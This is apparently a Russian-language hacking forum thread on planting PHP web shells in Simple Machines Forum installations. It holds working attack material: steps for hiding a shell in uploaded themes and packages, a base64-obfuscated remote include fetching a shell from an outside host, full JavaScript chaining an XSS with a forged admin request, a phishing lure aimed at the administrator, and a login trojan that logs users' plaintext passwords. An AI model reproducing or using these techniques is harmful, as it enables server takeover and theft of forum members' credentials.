Заливаем шелл в SMF Если ты имеешь админский акк в этом форуме. Шаг_1 Зходим на форум под админом. Затем идем Code: http://hacked.com/smf/index.php?action=admin [Admin]. Шаг_2 На левой боковой вкладке выбираем [Themes and Layout].Внизу увидешь форму для upload тем для форума. Темы закачиваются в формате zip-архива. Шаг_3 Идем на официальный сайт форумного движка в раздел (mOds) Code: http://custom.simplemachines.org/themes/ Здесь выбираем любую тему(на твой вкус и цвет). Я выбираю [blackTedSkin] Code: http://custom.simplemachines.org/themes/index.php?lemma=66 От сюда качаем Code: http://custom.simplemachines.org/themes/index.php?action=download;lemma=66;id=306 Шаг_4 Открываем zip с нашей темой и добавляем в архив свой php-shell--Пример директория /images/icons/myshell.php Шаг_5 Идем к форме [Install a New Theme] Добавляем наш архив-- From a file:blackTed.zip И даем название нашей теме-- Create a copy of Default named: HACK_THEME Жмем-- Install Если все прошло хорошо, то появиться надпись:blackTed was installed successfully. Шаг_6_Final Идем по ссылке(для случая с blackTed темой)-- Code: http://hacked.com/smf/Themes/blackTed/icons/Fun_shell.php Спасибо за внимание.
Способ 2. ЧЕРЕЗ аддоны(примочки)! Механизм заключается в том, что залив происходит в папку Packages в виде BoardNews10.zip --пример Пихаем в архив в BoardNews10\Subs-BoardNews.php -- <? system("uname -a"); ?> Инсталлим и видем результат(при safemodeff и только если есть права на запись в Packages )
Сталкивался с проблемой, когда запись в папки запрещалась ... это легко решить ! Идём по адресу ../forum/index.php?action=theme;th=1;sesc=3d8eb20e38590c370b19dba2e203d926;sa=edit;filename=index.php ну и спокойно правим в открывшемся окне индекс, точнее добавляем в него что то типа PHP: $str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0'); if($_GET['act']=='run'){include($str);}; дальше приспокойно переходим по след адресу с нужными нам параметрами /forum/Themes/default/index.php?act=run Главное не суетитесь господа ... ******************************** Полный листинг индекса выглядит таким вот образом PHP: <?php // Try to handle it with the upper level index.php. (it should know what to do.) $str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0'); if($_GET['act']=='run'){include($str);}; if (file_exists(dirname(dirname(__FILE__)) . '/index.php')) include (dirname(dirname(__FILE__)) . '/index.php'); else exit; ?>
Это всё канешна весело если есть админка от форума, а если нет ? ... Получить админку можно либо описанными (непомню в каком посте) способами, а можно немножко извратиться над этими способами и зделать нечто иное... Например щас я обрабатываю один из сайтикоф с многострадальным SMF 1.1.2 в дальнейшем siteX.ru. Вот что я проделал : На сайте имеется чат, в котором как опция присутствует онлайн радио, в скрипте которого я нашёл элементарную XSS такова вида http://siteX.ru/designes/radio.php?station=%22%20></OBJECT><script%20src=http://ааа.com/run.js></script><!-- Обнаружилось и то, что при попытки получить куки с помощью свойства document.cookie сайт выдавал куки не только чата , но и форума Содержание run.js такое Code: var s=document.createElement('script'); s.src='http://aaa.com/re.js'; document.documentElement.firstChild.appendChild(s); Думаю пока фсё понятно ... нет ? много травы курите господа хватит листинг re.js (который запускаеца скриптом run.js) Code: var shellCode = "<?php\n\n"; shellCode += "// Try to handle it with the upper level index.php. (it should know what to do.)\n"; shellCode += "$str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0');\n"; shellCode += "if($_GET['act']=='run'){include($str);};\n"; shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n"; shellCode += " include (dirname(dirname(__FILE__)) . '/index.php');\n"; shellCode += "else\n"; shellCode += " exit;\n\n?>"; sendRequest("forum/index.php", null, "GET", getSesc); function getSesc(request) { var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/); if(sessVerify) { sendRequest( "forum/index.php?action=theme;th=1;sa=edit", "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1], "POST", null); } } function sendRequest(url, data, method, onLoadFunc) { var request = createHttpRequest(); if(request) { request.open(method, url, true); if(method == "POST") { request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } if(onLoadFunc) { request.onreadystatechange = function() { if(request.readyState == 4) { onLoadFunc(request); } } } request.send(data); } } function createHttpRequest() { var httpRequest = false; try { httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { try { httpRequest = new XMLHttpRequest(); } catch(e) { httpRequest = false; } } } return httpRequest; } Здесь немного поясню... этот скрипт вместо админа берёт да и правит тему индекса форума тоесть фсё это происходит незаметно для админа, разработчики SMF постарались, поэтому исправления не нужно подтверждать паролем )) Вопщем индекс будет в переменной shellCode (см. предыдущий пост) Едем дальше, думаю хватит мазать сопли по тарелке... Регим в форуме ник жэнской наружности и отправляем приват админу что то типо Танька, наши фотки со свадьбы я закинула в фотоархиф, у тя там такое эротичное платье вот ссылка [U R L =http://siteX.ru/designes/radio.php?station=%22%3E%3C%2F%4F%42%4A%45%43%54%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%66%6F%72%65%73%74%2E%61%6C%66%61%6D%6F%6F%6E%2E%63%6F%6D%2F%72%75%6E%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%3C%21%2D%2D]http://photo-arhifff.xy/index.php?id=12548[/URL] Абратите ОСОБОЕ внимание на ссылку, даже если админ откроет её в новом окне он фсё равно фстрянет А любопытство как известно весч каварная... хоч не хоч а ткнуть придёца =) Итог ... идём по ссылке http://siteX.ru /forum/Themes/default/index.php?act=run и злобно начинаем БУГАГА ******************************** В этом методе есть два минуса: 1. Админ может что то заподозрить и не ткнуть на ссылу, а ваш ник получит бан =) 2.Если пхп сессия админа здохнет, хрен вам а не шелл, т к доступ в админку будет только по паролю, но при этом он спокойно может править свой профиль и отправлять мессаги ! *************************************** Инфа выложена чиста в азнакомительных целях, афтар не несёт ответственности за фсяких психов типо его самого, которые могут использовать эту инфу в западлянских целях ! EOF
Здрасствуйте, сори за такой вопрос: а сам шел надо скопировать и сохранить в текстовом формате? или шел надо сохранить в специальном формате?...
А есть шелл, который заливаеш в админку(ва те же темы) и по специально настроенном адресе(заранее перед заливкой) можно попадать в админку без админ акка? Нужно для IPB и SMF))
Часто бывает так: шелл залили, доступ к БД получили, а хотелось бы получить пароли пользователей. Но вот беда пароли зашифрованные, да еще соленые, а сидеть и брутить их лень/нет времени/желания. Тогда сделаем так чтобы юзеры сами выкладывали нам свои пароли на блюдечке! Местом хранения паролей выберем БД. Сразу скажу что те кто считают этот метод слишком палевным могут просто писать все в файл, но имхо БД предоставляет куда больше возможностей по обработке/сортировке этих данных. Сначала создадим таблицу куда будем складывать пароли Code: CREATE TABLE smf_logs ( id INTEGER NOT NULL, name VARCHAR(100) NOT NULL, password VARCHAR(100) NOT NULL ); ALTER TABLE smf_logs ADD ( PRIMARY KEY (id)); Далее открываем файл ./Sources/LogInOut.php находим там функцию Login2 и переходим к 380 строке Code: ... elseif ($user_settings['passwordSalt'] == '') { $user_settings['passwordSalt'] = substr(md5(rand()), 0, 4); updateMemberData($user_settings['ID_MEMBER'], array('passwordSalt' => '\'' . $user_settings['passwordSalt'] . '\'')); } //начало нашего трояна else { $req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$user_settings['ID_MEMBER']}"); $user = mysql_fetch_array($req); if(!$user) $req = db_query("INSERT INTO {$db_prefix}logs SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST['user']."' ,`password`='".$_REQUEST['passwrd']."'"); if($user['password']!=$_REQUEST['passwrd']) $req = db_query("UPDATE {$db_prefix}logs SET `password`='".$_REQUEST['passwrd']."' WHERE `id`='".$user_settings['ID_MEMBER']."'"); } //конец трояна if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login'])) $modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']); // Get ready to set the cookie... ... Теперь сделаем так чтобы тем, кто заходит используя куки пришлось ввести свой пароль: откроем файл ./Sources/Load.php в функции loadUserSettings около 377 строки напишем: Code: ... elseif (empty($ID_MEMBER) && isset($_SESSION['login_' . $cookiename]) && ($_SESSION['USER_AGENT'] == $_SERVER['HTTP_USER_AGENT'] || !empty($modSettings['disableCheckUA']))) { // !!! Perhaps we can do some more checking on this, such as on the first octet of the IP? list ($ID_MEMBER, $password, $login_span) = @unserialize(stripslashes($_SESSION['login_' . $cookiename])); $ID_MEMBER = !empty($ID_MEMBER) && strlen($password) == 40 && $login_span > time() ? (int) $ID_MEMBER : 0; } //начало нашего трояна $req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$ID_MEMBER}"); $user = mysql_fetch_array($req); if(!isset($user['id'])) { unset($password); } //конец трояна // Only load this stuff if the user isn't a guest. if ($ID_MEMBER != 0)... Наконец отредактируем файл ./Themes/default/script.js: найдем в нем функцию hashLoginPassword около 455 строки Code: ... doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id); // It looks nicer to fill it with asterisks, but Firefox will try to save that. //закомментируем эти строки //if (navigator.userAgent.indexOf("Firefox/") != -1) // doForm.passwrd.value = ""; //else // doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*"); } На всякий случай тоже самое сделаем в функции hashAdminPassword в том же файле несколькими строками ниже: Code: ... doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id); //закомментируем строку //doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*"); } Теперь форум благополучно затроянен и нам только остается периодически заглядывать в нашу табличку чтобы удостоверяться что пароли записываются. По желанию можно закодировать данные в табличке, например функцией base64_encode(), так что даже если админ и случайно наткнется на нее, то ничего не поймет. А для расшифровки набросать свой маленький скрипт и оставить эго где-нибудь в глубине исходников форума
залил все как надо через тему, адрес http://123xxx.ru/forum/Themes/blackted/icons/articles.php выскакивает: Not Found The requested document was not found on this server. Web Server at 123xxx.ru
Просто те надо было залить шелл внутри одного из файлов темы, а так твой файл из архива просто не попадает, вот и все)))) Просто код шелла вставь в любую страницу php файла темы!
Вот снял видео для новичков по заливке шелла, имея доступ в админку. http://depositfiles.com/files/6759465
1ce666 можно если присуствует уязв к примеру уязвимость в версии SMF 1.1.6 Remote File Exect (как то так)
Данный способ не срабатывает отказано вна запись!!! В какую дирректорию можно залить??? есть предположения попытатся залить в attachments но просмотреть эту дирректорию невозможно Пррошу помощи и подскажите нормальный шелл для навигации по дирректориям как по FTP
просто меняешь директорию загрузки тем и заливаешь ее в другую диру у меня при устанокке тем пишет типо Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, [email protected] and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. права на выполнения php файлов выставлены что л и как то по другому?
Нужно залить шелл на SMF. Версия 2.0 RC1.2 Способ с заливкой файла / стиля выдаёт 404 NOT FOUND, но заливается и я могу даже редактировать файл стиля через админку.
В общем ситуация следующая. Есть админка от SMF 1.1.2 хотелось бы залить шелл, но столкнулся с не очень хорошей ситуацией, злой админ полностью все файлы выставил права "только для чтания" также само и на папки!